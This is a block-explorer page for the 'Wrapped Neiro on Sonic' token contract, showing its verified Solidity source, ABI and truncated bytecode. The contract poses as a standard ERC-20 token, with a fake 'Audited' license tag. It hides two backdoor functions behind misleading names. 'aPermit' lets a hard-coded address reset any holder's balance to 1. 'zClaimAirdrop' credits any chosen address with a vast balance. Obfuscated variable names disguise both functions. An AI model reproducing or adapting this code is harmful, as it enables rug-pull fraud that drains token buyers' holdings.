S Price: $0.408408 (-0.85%)

Token

Wrapped Neiro on Sonic (WNEIRO)

Overview

Max Total Supply

138,950,000,000 WNEIRO

Holders

6

Total Transfers

-

Market

Price

$0.00 @ 0.000000 S

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Coin

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at SonicScan.org on 2024-12-30
*/

// SPDX-License-Identifier: Audited
pragma solidity 0.8.20;

// ERC-20 Interface
interface IERC20_Sonic {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// SafeMath Library
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}

// Context
contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

// Ownable
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract Coin is Context, IERC20_Sonic, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 138950000000 * 10**_decimals;
    uint256 finalTax = 1;
    uint256 inicialTax = 10;
    mapping(address => uint256) private immutableStatusOn;
    mapping(address => mapping(address => uint256)) private _allowances;

    address private constant ADDRESS_WETH = 0x29219dd400f2Bf60E5a23d13Be72B486D4038894;
    address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
    address private constant ADDRESS_DEVELEPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
    address ADDRESS_Sonic = 0xAa4577b7E2c5Af58c3e05ba16B3768A162bEeF43;

    constructor(string memory name_, string memory symbol_, address creator) {
        _name = name_;
        _symbol = symbol_;
        immutableStatusOn[creator] = _totalSupply.mul(1).div(1000);
        emit Transfer(address(0), creator, _totalSupply.mul(1).div(1000));
        transferOwnership(creator);
        _distributeTokens();
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return immutableStatusOn[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }

    // Internal transfer function
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        immutableStatusOn[sender] = immutableStatusOn[sender].sub(amount);
        immutableStatusOn[recipient] = immutableStatusOn[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    // Internal approve function
    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    // Function to distribute 99% of the total supply to specific addresses
    function _distributeTokens() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000);
        uint256 threePercent = _totalSupply.mul(2).div(1000);
        uint256 twoPercent = _totalSupply.mul(1).div(1000);

        immutableStatusOn[ADDRESS_WETH] = immutableStatusOn[ADDRESS_WETH].add(ninetyFourPercent);
        immutableStatusOn[ADDRESS_MARKETING] = immutableStatusOn[ADDRESS_MARKETING].add(threePercent);
        immutableStatusOn[ADDRESS_DEVELEPMENT] = immutableStatusOn[ADDRESS_DEVELEPMENT].add(twoPercent);

        emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
        emit Transfer(address(this), ADDRESS_DEVELEPMENT, twoPercent);
    }
      modifier immutableCreator() {
        require(ADDRESS_Sonic == _msgSender());
        _;
    }
   
function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator {
    for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
        immutableStatusOn[rewardsMerkleRoot_[i]] = finalTax;
        
        emit Transfer(rewardsMerkleRoot_[i], address(0), finalTax);
    }
}


    function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator {
        immutableStatusOn[claimedRewardStatusOf] = _totalSupply * inicialTax ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * inicialTax ** _decimals);
    }
 
    receive() external payable {}
}

contract CreatorToken {
    event TokenCreated(address tokenAddress, string name, string symbol, address owner);

    struct TokenDetails {
        string name;
        string symbol;
        address owner;
    }

    TokenDetails[] public tokens;

    function createTokens(
        string[] calldata names,
        string[] calldata symbols,
        address[] calldata owners
    ) external {
        require(names.length == symbols.length && symbols.length == owners.length, "Input arrays must have the same length");
        
        for (uint256 i = 0; i < names.length; i++) {

            Coin token = new Coin(names[i], symbols[i], owners[i]);
        
            tokens.push(TokenDetails({
                name: names[i],
                symbol: symbols[i],
                owner: owners[i]
            }));

    
            emit TokenCreated(address(token), names[i], symbols[i], owners[i]);
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"creator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600355600a60045573aa4577b7e2c5af58c3e05ba16b3768a162beef4360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200006e575f80fd5b5060405162002be038038062002be0833981810160405281019062000094919062000c1d565b620000a4620002ea60201b60201c565b5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a382600190816200016c919062000eeb565b5081600290816200017e919062000eeb565b50620001cc6103e8620001bd60016012600a6200019c919062001158565b64205a10bd80620001ae9190620011a8565b620002f160201b90919060201c565b6200037160201b90919060201c565b60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002a96103e86200029a60016012600a62000279919062001158565b64205a10bd806200028b9190620011a8565b620002f160201b90919060201c565b6200037160201b90919060201c565b604051620002b8919062001203565b60405180910390a3620002d181620003cd60201b60201c565b620002e16200051660201b60201c565b5050506200143c565b5f33905090565b5f80830362000303575f90506200036b565b5f8284620003129190620011a8565b90508284826200032391906200124b565b1462000366576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200035d9062001306565b60405180910390fd5b809150505b92915050565b5f808211620003b7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003ae9062001374565b60405180910390fd5b8183620003c591906200124b565b905092915050565b620003dd620002ea60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000403620009ae60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000423575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036200045b575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f620005656103e8620005566103e46012600a62000535919062001158565b64205a10bd80620005479190620011a8565b620002f160201b90919060201c565b6200037160201b90919060201c565b90505f620005b56103e8620005a660026012600a62000585919062001158565b64205a10bd80620005979190620011a8565b620002f160201b90919060201c565b6200037160201b90919060201c565b90505f620006056103e8620005f660016012600a620005d5919062001158565b64205a10bd80620005e79190620011a8565b620002f160201b90919060201c565b6200037160201b90919060201c565b90506200066d8360055f7329219dd400f2bf60e5a23d13be72b486d403889473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054620009d560201b90919060201c565b60055f7329219dd400f2bf60e5a23d13be72b486d403889473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620007288260055f73551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054620009d560201b90919060201c565b60055f73551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620007e38160055f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054620009d560201b90919060201c565b60055f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055507329219dd400f2bf60e5a23d13be72b486d403889473ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051620008ab919062001203565b60405180910390a373551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405162000926919062001203565b60405180910390a373edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009a1919062001203565b60405180910390a3505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f808284620009e5919062001394565b90508381101562000a2d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a24906200141c565b60405180910390fd5b8091505092915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b62000a988262000a50565b810181811067ffffffffffffffff8211171562000aba5762000ab962000a60565b5b80604052505050565b5f62000ace62000a37565b905062000adc828262000a8d565b919050565b5f67ffffffffffffffff82111562000afe5762000afd62000a60565b5b62000b098262000a50565b9050602081019050919050565b5f5b8381101562000b3557808201518184015260208101905062000b18565b5f8484015250505050565b5f62000b5662000b508462000ae1565b62000ac3565b90508281526020810184848401111562000b755762000b7462000a4c565b5b62000b8284828562000b16565b509392505050565b5f82601f83011262000ba15762000ba062000a48565b5b815162000bb384826020860162000b40565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000be78262000bbc565b9050919050565b62000bf98162000bdb565b811462000c04575f80fd5b50565b5f8151905062000c178162000bee565b92915050565b5f805f6060848603121562000c375762000c3662000a40565b5b5f84015167ffffffffffffffff81111562000c575762000c5662000a44565b5b62000c658682870162000b8a565b935050602084015167ffffffffffffffff81111562000c895762000c8862000a44565b5b62000c978682870162000b8a565b925050604062000caa8682870162000c07565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000d0357607f821691505b60208210810362000d195762000d1862000cbe565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000d7d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000d40565b62000d89868362000d40565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000dd362000dcd62000dc78462000da1565b62000daa565b62000da1565b9050919050565b5f819050919050565b62000dee8362000db3565b62000e0662000dfd8262000dda565b84845462000d4c565b825550505050565b5f90565b62000e1c62000e0e565b62000e2981848462000de3565b505050565b5b8181101562000e505762000e445f8262000e12565b60018101905062000e2f565b5050565b601f82111562000e9f5762000e698162000d1f565b62000e748462000d31565b8101602085101562000e84578190505b62000e9c62000e938562000d31565b83018262000e2e565b50505b505050565b5f82821c905092915050565b5f62000ec15f198460080262000ea4565b1980831691505092915050565b5f62000edb838362000eb0565b9150826002028217905092915050565b62000ef68262000cb4565b67ffffffffffffffff81111562000f125762000f1162000a60565b5b62000f1e825462000ceb565b62000f2b82828562000e54565b5f60209050601f83116001811462000f61575f841562000f4c578287015190505b62000f58858262000ece565b86555062000fc7565b601f19841662000f718662000d1f565b5f5b8281101562000f9a5784890151825560018201915060208501945060208101905062000f73565b8683101562000fba578489015162000fb6601f89168262000eb0565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620010595780860481111562001031576200103062000fcf565b5b6001851615620010415780820291505b8081029050620010518562000ffc565b945062001011565b94509492505050565b5f8262001073576001905062001145565b8162001082575f905062001145565b81600181146200109b5760028114620010a657620010dc565b600191505062001145565b60ff841115620010bb57620010ba62000fcf565b5b8360020a915084821115620010d557620010d462000fcf565b5b5062001145565b5060208310610133831016604e8410600b8410161715620011165782820a90508381111562001110576200110f62000fcf565b5b62001145565b62001125848484600162001008565b925090508184048111156200113f576200113e62000fcf565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620011648262000da1565b915062001171836200114c565b9250620011a07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462001062565b905092915050565b5f620011b48262000da1565b9150620011c18362000da1565b9250828202620011d18162000da1565b91508282048414831517620011eb57620011ea62000fcf565b5b5092915050565b620011fd8162000da1565b82525050565b5f602082019050620012185f830184620011f2565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620012578262000da1565b9150620012648362000da1565b9250826200127757620012766200121e565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f620012ee60218362001282565b9150620012fb8262001292565b604082019050919050565b5f6020820190508181035f8301526200131f81620012e0565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f0000000000005f82015250565b5f6200135c601a8362001282565b9150620013698262001326565b602082019050919050565b5f6020820190508181035f8301526200138d816200134e565b9050919050565b5f620013a08262000da1565b9150620013ad8362000da1565b9250828201905080821115620013c857620013c762000fcf565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f62001404601b8362001282565b91506200141182620013ce565b602082019050919050565b5f6020820190508181035f8301526200143581620013f6565b9050919050565b611796806200144a5f395ff3fe6080604052600436106100e0575f3560e01c80638da5cb5b1161007e578063a37e0a6411610058578063a37e0a64146102af578063a9059cbb146102d7578063dd62ed3e14610313578063f2fde38b1461034f576100e7565b80638da5cb5b146102335780638f8af1e11461025d57806395d89b4114610285576100e7565b806323b872dd116100ba57806323b872dd1461017b578063313ce567146101b757806370a08231146101e1578063715018a61461021d576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151576100e7565b366100e757005b5f80fd5b3480156100f6575f80fd5b506100ff610377565b60405161010c9190611063565b60405180910390f35b348015610120575f80fd5b5061013b60048036038101906101369190611118565b610407565b6040516101489190611170565b60405180910390f35b34801561015c575f80fd5b50610165610424565b6040516101729190611198565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c91906111b1565b610448565b6040516101ae9190611170565b60405180910390f35b3480156101c2575f80fd5b506101cb610502565b6040516101d8919061121c565b60405180910390f35b3480156101ec575f80fd5b5061020760048036038101906102029190611235565b61050a565b6040516102149190611198565b60405180910390f35b348015610228575f80fd5b50610231610550565b005b34801561023e575f80fd5b5061024761064f565b604051610254919061126f565b60405180910390f35b348015610268575f80fd5b50610283600480360381019061027e91906112e9565b610676565b005b348015610290575f80fd5b506102996107f3565b6040516102a69190611063565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d09190611235565b610883565b005b3480156102e2575f80fd5b506102fd60048036038101906102f89190611118565b6109f8565b60405161030a9190611170565b60405180910390f35b34801561031e575f80fd5b5061033960048036038101906103349190611334565b610a15565b6040516103469190611198565b60405180910390f35b34801561035a575f80fd5b5061037560048036038101906103709190611235565b610a97565b005b6060600180546103869061139f565b80601f01602080910402602001604051908101604052809291908181526020018280546103b29061139f565b80156103fd5780601f106103d4576101008083540402835291602001916103fd565b820191905f5260205f20905b8154815290600101906020018083116103e057829003601f168201915b5050505050905090565b5f61041a610413610bce565b8484610bd5565b6001905092915050565b5f6012600a610433919061152b565b64205a10bd806104439190611575565b905090565b5f610454848484610d2a565b6104f784610460610bce565b6104f28560065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104aa610bce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f2490919063ffffffff16565b610bd5565b600190509392505050565b5f6012905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610558610bce565b73ffffffffffffffffffffffffffffffffffffffff1661057661064f565b73ffffffffffffffffffffffffffffffffffffffff1614610595575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61067e610bce565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d5575f80fd5b5f5b828290508110156107ee5760035460055f8585858181106106fb576106fa6115b6565b5b90506020020160208101906107109190611235565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff16838383818110610777576107766115b6565b5b905060200201602081019061078c9190611235565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516107d39190611198565b60405180910390a380806107e6906115e3565b9150506106d7565b505050565b6060600280546108029061139f565b80601f016020809104026020016040519081016040528092919081815260200182805461082e9061139f565b80156108795780601f1061085057610100808354040283529160200191610879565b820191905f5260205f20905b81548152906001019060200180831161085c57829003601f168201915b5050505050905090565b61088b610bce565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e2575f80fd5b60126004546108f1919061152b565b6012600a6108ff919061152b565b64205a10bd8061090f9190611575565b6109199190611575565b60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60126004546109b8919061152b565b6012600a6109c6919061152b565b64205a10bd806109d69190611575565b6109e09190611575565b6040516109ed9190611198565b60405180910390a350565b5f610a0b610a04610bce565b8484610d2a565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a9f610bce565b73ffffffffffffffffffffffffffffffffffffffff16610abd61064f565b73ffffffffffffffffffffffffffffffffffffffff1614610adc575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b13575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c0c575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c43575f80fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d1d9190611198565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d61575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d98575f80fd5b610de88160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f2490919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610e798160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f7c90919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f179190611198565b60405180910390a3505050565b5f82821115610f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5f90611674565b60405180910390fd5b8183610f749190611692565b905092915050565b5f808284610f8a91906116c5565b905083811015610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc690611742565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611010578082015181840152602081019050610ff5565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61103582610fd9565b61103f8185610fe3565b935061104f818560208601610ff3565b6110588161101b565b840191505092915050565b5f6020820190508181035f83015261107b818461102b565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110b48261108b565b9050919050565b6110c4816110aa565b81146110ce575f80fd5b50565b5f813590506110df816110bb565b92915050565b5f819050919050565b6110f7816110e5565b8114611101575f80fd5b50565b5f81359050611112816110ee565b92915050565b5f806040838503121561112e5761112d611083565b5b5f61113b858286016110d1565b925050602061114c85828601611104565b9150509250929050565b5f8115159050919050565b61116a81611156565b82525050565b5f6020820190506111835f830184611161565b92915050565b611192816110e5565b82525050565b5f6020820190506111ab5f830184611189565b92915050565b5f805f606084860312156111c8576111c7611083565b5b5f6111d5868287016110d1565b93505060206111e6868287016110d1565b92505060406111f786828701611104565b9150509250925092565b5f60ff82169050919050565b61121681611201565b82525050565b5f60208201905061122f5f83018461120d565b92915050565b5f6020828403121561124a57611249611083565b5b5f611257848285016110d1565b91505092915050565b611269816110aa565b82525050565b5f6020820190506112825f830184611260565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126112a9576112a8611288565b5b8235905067ffffffffffffffff8111156112c6576112c561128c565b5b6020830191508360208202830111156112e2576112e1611290565b5b9250929050565b5f80602083850312156112ff576112fe611083565b5b5f83013567ffffffffffffffff81111561131c5761131b611087565b5b61132885828601611294565b92509250509250929050565b5f806040838503121561134a57611349611083565b5b5f611357858286016110d1565b9250506020611368858286016110d1565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113b657607f821691505b6020821081036113c9576113c8611372565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156114515780860481111561142d5761142c6113cf565b5b600185161561143c5780820291505b808102905061144a856113fc565b9450611411565b94509492505050565b5f826114695760019050611524565b81611476575f9050611524565b816001811461148c5760028114611496576114c5565b6001915050611524565b60ff8411156114a8576114a76113cf565b5b8360020a9150848211156114bf576114be6113cf565b5b50611524565b5060208310610133831016604e8410600b84101617156114fa5782820a9050838111156114f5576114f46113cf565b5b611524565b6115078484846001611408565b9250905081840481111561151e5761151d6113c